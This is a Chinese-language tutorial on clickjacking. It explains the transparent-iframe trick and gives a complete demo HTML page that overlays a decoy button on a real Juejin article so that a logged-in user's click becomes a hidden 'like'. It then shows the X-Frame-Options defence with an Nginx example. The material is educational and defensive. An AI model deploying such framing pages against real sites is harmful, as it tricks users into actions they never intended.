概述
点击劫持攻击(clickjacking)是一种欺诈性攻击方式,攻击者利用透明层让用户在不自知的情况下点击一个隐藏的页面元素。这种攻击可以导致用户无意中批准恶意活动,例如给攻击者的文章点赞或泄露敏感信息。
原理
点击劫持攻击听起来好像很厉害的黑客手段,但是其原理十分简单:
- 攻击者首先创建一个含有恶意代码的网页。
- 该网页中会包含一个透明的
<iframe>
元素,这个<iframe>
中加载的是目标网站页面。 - 攻击者在自己的网页上添加诱饵,例如看起来正常的按钮或链接,它们在位置上与
<iframe>
中的元素重叠。 - 用户在点击诱饵,例如认为自己在进行正常操作时(如"提交"按钮),实际上点击的却是另一个透明
<iframe>
中的元素,导致攻击者可以捕获点击操作并触发不良动作。
如下图所示,攻击者可能会在灰色按钮上放置一个透明的<iframe>
。当用户认为点击的是本网站的按钮时,其实触发了隐藏在<iframe>
中的红色按钮。
攻击演示
为了展示点击劫持的效果,我们创建了一个恶意演示页面,并将 iframe
的透明度设置成 0.2。同时假设用户已经登录了掘金,并保持了登录状态,此时任何在恶意网站页面点击按钮操作,都会直接变成了掘金的点赞操作。
代码实现
html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<style>
html,
body {
height: 100%;
padding: 0;
margin: 0;
overflow: hidden;
}
.iframe {
width: 100%;
height: 100%;
border: 0;
padding: 0;
margin: 0;
opacity: 0.2;
z-index: 2;
}
.box {
position: fixed;
left: 168px;
top: 140px;
z-index: 0;
}
.box .button {
width: 50px;
height: 50px;
border-radius: 50%;
border: 2px solid #e2e2e2;
background: #fff;
color: #333;
margin: 0;
padding: 0;
}
</style>
</head>
<body>
<div class="box">
<button class="button">🐂</button>
</div>
<iframe src="https://juejin.cn/post/7332735079162593315" frameborder="0" class="iframe"></iframe>
</body>
</html>
防御攻击
要抵御点击劫持,最有效的方法是使用X-Frame-Options
HTTP头。可以在服务器响应中设置,以阻止或允许页面嵌入<iframe>
中。
注意 : 它必须设置在 HTTP header 中才有效,在 HTML 设置
<meta>
标签是不生效的。例如:
<meta http-equiv="X-Frame-Options"...>
是没有作用的。
这个 header
包含 3 种值:
DENY
: 始终禁止在frame
中显示此页面,即便是同域名下的页面也不允许嵌套。SAMEORIGIN
: 只允许与页面同源的<iframe>
中显示页面。ALLOW-FROM url
: 允许指定域的<iframe>
中显示页面(已废弃,不推荐使用)
Nginx 配置示例
nginx
location / {
# 设置 X-Frame-Options
add_header X-Frame-Options SAMEORIGIN always;
# 其他配置...
}
参考资料
- OWASP. (n.d.). Clickjacking. www.owasp.org/index.php/C...
- Mozilla Developer Network. (n.d.). X-Frame-Options. developer.mozilla.org/en-US/docs/...
- Content Security Policy (CSP) - HTTP | MDN. developer.mozilla.org/en-US/docs/...